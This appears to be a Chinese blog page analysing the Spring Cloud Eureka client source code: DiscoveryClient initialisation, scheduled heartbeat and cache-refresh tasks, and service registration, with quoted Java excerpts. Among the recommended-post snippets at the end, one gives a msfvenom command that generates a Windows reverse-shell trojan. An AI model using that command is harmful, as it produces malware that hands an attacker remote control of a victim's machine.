一、自动装配

  1、根据自动装配原理(详见:Spring Boot系列(二):Spring Boot自动装配原理解析),找到spring-cloud-netflix-eureka-client.jar的spring.factories,查看spring.factories如下:

  2、进入EurekaClient的自动装配类EurekaClientAutoConfiguration:

  3、@ConditionalOnBean(EurekaDiscoveryClientConfiguration.Marker.class)也就是说当容器中有EurekaDiscoveryClientCon figuration.Marker.class时,该配置类才起作用。接下来查看spring.factories,发现还有一个配置类EurekaDiscoveryClientConfigura tion,该配置类就刚刚好往容器中导入了EurekaDiscoveryClientConfiguration.Marker。

二、EurekaClient

  1、EurekaClientAutoConfiguration配置类

  1.1 导入的核心Bean

  ① EurekaClientConfigBean:初始化eurekaClient配置;

  ② EurekaInstanceConfigBean:初始化eureka实例配置;

  ③ EurekaDiscoveryClient:初始化eureka发现客户端;

  ④ EurekaServiceRegistry:初始化eureka服务注册;

  ⑤ EurekaAutoServiceRegistration:初始化eureka自动服务注册;

  ⑥ EurekaClient:初始化eureka客户端;

  1.2 初始化EurekaClient

  ① 首先看下类的继承图:

  ② CloudEurekaClient构造方法:

  点进去会发现它调用父类的构造方法super(applicationInfoManager, config, args);最终来到如下方法:

@Inject
DiscoveryClient(ApplicationInfoManager applicationInfoManager, EurekaClientConfig config, AbstractDiscoveryClientOptionalArgs args,
Provider<BackupRegistry> backupRegistryProvider, EndpointRandomizer endpointRandomizer) {
//省略......
this.applicationInfoManager = applicationInfoManager;
//1、获取要注册的服务实例信息
InstanceInfo myInfo = applicationInfoManager.getInfo();
//省略......
instanceInfo = myInfo;
//省略......
//2、定义一些Executor
try {
// default size of 2 - 1 each for heartbeat and cacheRefresh
scheduler = Executors.newScheduledThreadPool(2,
new ThreadFactoryBuilder()
.setNameFormat("DiscoveryClient-%d")
.setDaemon(true)
.build());
//心跳Executor
heartbeatExecutor = new ThreadPoolExecutor(
1, clientConfig.getHeartbeatExecutorThreadPoolSize(), 0, TimeUnit.SECONDS,
new SynchronousQueue<Runnable>(),
new ThreadFactoryBuilder()
.setNameFormat("DiscoveryClient-HeartbeatExecutor-%d")
.setDaemon(true)
.build()
); // use direct handoff
//本地缓存刷新Executor
cacheRefreshExecutor = new ThreadPoolExecutor(
1, clientConfig.getCacheRefreshExecutorThreadPoolSize(), 0, TimeUnit.SECONDS,
new SynchronousQueue<Runnable>(),
new ThreadFactoryBuilder()
.setNameFormat("DiscoveryClient-CacheRefreshExecutor-%d")
.setDaemon(true)
.build()
); // use direct handoff
/**
* 1、初始化定时拉取服务注册信息和服务续约任务
* 2、定义一个状态变化监听
* 3、初始化定时服务注册任务
*/
initScheduledTasks();
//省略......
}

  ③ 进入initScheduledTasks()方法如下:

private void initScheduledTasks() {
if (clientConfig.shouldFetchRegistry()) {
int registryFetchIntervalSeconds = clientConfig.getRegistryFetchIntervalSeconds();
int expBackOffBound = clientConfig.getCacheRefreshExecutorExponentialBackOffBound();
//每隔30s执行CacheRefreshThread,刷新本地缓存
scheduler.schedule(
new TimedSupervisorTask(
"cacheRefresh",
scheduler,
cacheRefreshExecutor,
registryFetchIntervalSeconds,
TimeUnit.SECONDS,
expBackOffBound,
new DiscoveryClient.CacheRefreshThread()
),
registryFetchIntervalSeconds, TimeUnit.SECONDS);
} if (clientConfig.shouldRegisterWithEureka()) {
int renewalIntervalInSecs = instanceInfo.getLeaseInfo().getRenewalIntervalInSecs();
int expBackOffBound = clientConfig.getHeartbeatExecutorExponentialBackOffBound();
//每隔30s发一次心跳
scheduler.schedule(
new TimedSupervisorTask(
"heartbeat",
scheduler,
heartbeatExecutor,
renewalIntervalInSecs,
TimeUnit.SECONDS,
expBackOffBound,
new DiscoveryClient.HeartbeatThread()
),
renewalIntervalInSecs, TimeUnit.SECONDS); //定时服务注册
instanceInfoReplicator = new InstanceInfoReplicator(
this,
instanceInfo,
clientConfig.getInstanceInfoReplicationIntervalSeconds(),
2); // burstSize
//状态监听器,当实例状态改变时会调用监听器的notify方法
statusChangeListener = new ApplicationInfoManager.StatusChangeListener() {
//省略......
@Override
public void notify(StatusChangeEvent statusChangeEvent) {
//省略......
instanceInfoReplicator.onDemandUpdate();
}
}; if (clientConfig.shouldOnDemandUpdateStatusChange()) {
//往applicationInfoManager里面注册监听器
applicationInfoManager.registerStatusChangeListener(statusChangeListener);
}
//开启定时服务注册任务
instanceInfoReplicator.start(clientConfig.getInitialInstanceInfoReplicationIntervalSeconds());
} else {
logger.info("Not registering with Eureka server per configuration");
}
} 

  上面方法核心逻辑:

  一:初始化定时拉取服务注册信息和服务续约任务;scheduler.schedule(TimedSupervisorTask),执行TimedSupervisorTask.ru n()方法,定时执行2个任务

  Ⅰ、CacheRefreshThread:定时刷新本地注册列表;

  Ⅱ、HeartbeatThread:定时向Eureka服务端发送心跳,证明自己还活着;

  二:定义一个状态变化监听来监听实例状态的变化;

    statusChangeListener = new ApplicationInfoManager.StatusChangeListener(),里面的核心方法notify(StatusChangeE vent statusChangeEvent),该方法里面有个instanceInfoReplicator.onDemandUpdate()方法。然后把statusChangeListener监听器往applicationInfoManager里面注册。当实例状态改变时会调用监听器的notify方法,也就是会调用instanceInfoReplicator.onDema ndUpdate()方法。

  三:初始化定时服务注册任务;

  调用instanceInfoReplicator.start(clientConfig.getInitialInstanceInfoReplicationIntervalSeconds())方法;进入到InstanceInfo Replicator.start(int initialDelayMs)方法如下:

public void start(int initialDelayMs) {
if (started.compareAndSet(false, true)) {
instanceInfo.setIsDirty(); // for initial register
//延迟40s执行
Future next = scheduler.schedule(this, initialDelayMs, TimeUnit.SECONDS);
scheduledPeriodicRef.set(next);
}
}

  进入到InstanceInfoReplicator.run()方法如下:

public void run() {
try {
discoveryClient.refreshInstanceInfo();
Long dirtyTimestamp = instanceInfo.isDirtyWithTime();
if (dirtyTimestamp != null) {
//服务注册,其实就是调用EurekaServer服务端服务注册接口 httpResponse = eurekaTransport.registrationClient.register(instanceInfo);
discoveryClient.register();
instanceInfo.unsetIsDirty(dirtyTimestamp);
}
} catch (Throwable t) {
logger.warn("There was a problem with the instance info replicator", t);
} finally {
//每隔40s执行一次
Future next = scheduler.schedule(this, replicationIntervalSeconds, TimeUnit.SECONDS);
scheduledPeriodicRef.set(next);
}
}

  1.3 初始化EurekaAutoServiceRegistration

  ① EurekaAutoServiceRegistration类的继承图:

  实现了SmartLifecycle接口,会在EurekaAutoServiceRegistration初始化完成后,根据isAutoStartup为ture执行start方法。

  ② 进入EurekaAutoServiceRegistration.start()方法:

public void start() {
//省略......
if (!this.running.get() && this.registration.getNonSecurePort() > 0) {
//服务注册
this.serviceRegistry.register(this.registration);
//发布InstanceRegisteredEvent事件
this.context.publishEvent(new InstanceRegisteredEvent<>(this,
this.registration.getInstanceConfig()));
//设置运行为true
this.running.set(true);
}
}

  ③ 进入EurekaServiceRegistry.register()方法:

  该方法里面reg.getApplicationInfoManager().setInstanceStatus(reg.getInstanceConfig().getInitialStatus());触发状态变化监听器的notify方法,也就是调用到了ApplicationInfoManager.StatusChangeListener.notify方法,notify方法里面执行instanceInfoRep licator.onDemandUpdate()方法,最终调用InstanceInfoReplicator.this.run()方法,进行服务注册。

三、Eureka客户端流程图

  自此Eureka客户端源码解析完成,Eureka服务端源码详见:Spring Cloud系列(三):Eureka源码解析之服务端。Eureka应用详见:Spring Cloud系列(二):Eureka应用详解

Spring Cloud系列(四):Eureka源码解析之客户端的更多相关文章

  1. spring cloud深入学习(四)-----eureka源码解析、ribbon解析、声明式调用feign

    基本概念 1.Registe 一一服务注册当eureka Client向Eureka Server注册时,Eureka Client提供自身的元数据,比如IP地址.端口.运行状况指标的Uri.主页地址 ...

  2. Mybatis 系列6-结合源码解析节点配置:objectFactory、databaseIdProvider、plugins、mappers

    [Mybatis 系列10-结合源码解析mybatis 执行流程] [Mybatis 系列9-强大的动态sql 语句] [Mybatis 系列8-结合源码解析select.resultMap的用法] ...

  3. Mybatis 系列3-结合源码解析properties节点和environments节点

    [Mybatis 系列10-结合源码解析mybatis 执行流程] [Mybatis 系列9-强大的动态sql 语句] [Mybatis 系列8-结合源码解析select.resultMap的用法] ...

  4. Mybatis 系列10-结合源码解析mybatis 的执行流程

    [Mybatis 系列10-结合源码解析mybatis 执行流程] [Mybatis 系列9-强大的动态sql 语句] [Mybatis 系列8-结合源码解析select.resultMap的用法] ...

  5. Mybatis 系列8-结合源码解析select、resultMap的用法

    [Mybatis 系列10-结合源码解析mybatis 执行流程] [Mybatis 系列9-强大的动态sql 语句] [Mybatis 系列8-结合源码解析select.resultMap的用法] ...

  6. Mybatis 系列7-结合源码解析核心CRUD 配置及用法

    [Mybatis 系列10-结合源码解析mybatis 执行流程] [Mybatis 系列9-强大的动态sql 语句] [Mybatis 系列8-结合源码解析select.resultMap的用法] ...

  7. Mybatis 系列5-结合源码解析TypeHandler

    [Mybatis 系列10-结合源码解析mybatis 执行流程] [Mybatis 系列9-强大的动态sql 语句] [Mybatis 系列8-结合源码解析select.resultMap的用法] ...

  8. Mybatis 系列4-结合源码解析节点:typeAliases

    [Mybatis 系列10-结合源码解析mybatis 执行流程] [Mybatis 系列9-强大的动态sql 语句] [Mybatis 系列8-结合源码解析select.resultMap的用法] ...

  9. 死磕 java同步系列之CyclicBarrier源码解析——有图有真相

    问题 (1)CyclicBarrier是什么? (2)CyclicBarrier具有什么特性? (3)CyclicBarrier与CountDownLatch的对比? 简介 CyclicBarrier ...

随机推荐

  1. Selenium中核心属性以及方法

    一.操作定位元素 selenium提供了定位元素的API,这些方法都被定义在webDriver类中,需要以find开头, 例如:find_Element_by_id('')

  2. 力扣Leetcode 572. 另一个树的子树

    另一个树的子树 给定两个非空二叉树 s 和 t,检验 s 中是否包含和 t 具有相同结构和节点值的子树.s 的一个子树包括 s 的一个节点和这个节点的所有子孙.s 也可以看做它自身的一棵子树. 示例 ...

  3. Codeforces Round #668 (Div. 2)A-C题解

    A. Permutation Forgery 题目:http://codeforces.com/contest/1405/problem/A 题解:这道题初看有点吓人,一开始居然想到要用全排序,没错我 ...

  4. leetcode刷题-46全排列

    题目 给定一个 没有重复 数字的序列,返回其所有可能的全排列. 思路 回溯算法 不断取出字符,对剩余字符进行选择 实现 class Solution: def permute(self, nums: ...

  5. Spring-代理模式

    代理模式 目录 代理模式 1. 代理模式的分类 2. 静态代理 1. 角色分析 2. 代码步骤 3. 代理的好处 4. 进一步理解 3. 动态代理 1. 角色分析 2. 对动态代理的两个关键类的理解 ...

  6. HTML模仿实现京东登录页面

    <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...

  7. HTML常用实体字符参考手册

    最常用的字符实体 显示结果 描述 实体名称 实体编号   空格     < 小于号 < < > 大于号 > > & 和号 & & " ...

  8. css常用属性之display属性

    1.dispaly属性之一:块级标签转行内便签display: inline(内容有多大,就展示多大(用F12看区别)) 2.display属性之二:行内便签转块级标签:diaplay: block ...

  9. msf生成木马

    Msf生成木马:(多层加密都不能免杀) msfvenom -p windows/shell_reverse_tcp lhost=192.168.33.143 lport=7001 -f raw -e ...

  10. [HDU2553]N皇后问题(DFS)

    题目链接 http://acm.hdu.edu.cn/showproblem.php?pid=2553 题意 n<=10,输出N皇后问题的方法数. 题解 可以使用各种方法.这里使用DFS. 使用 ...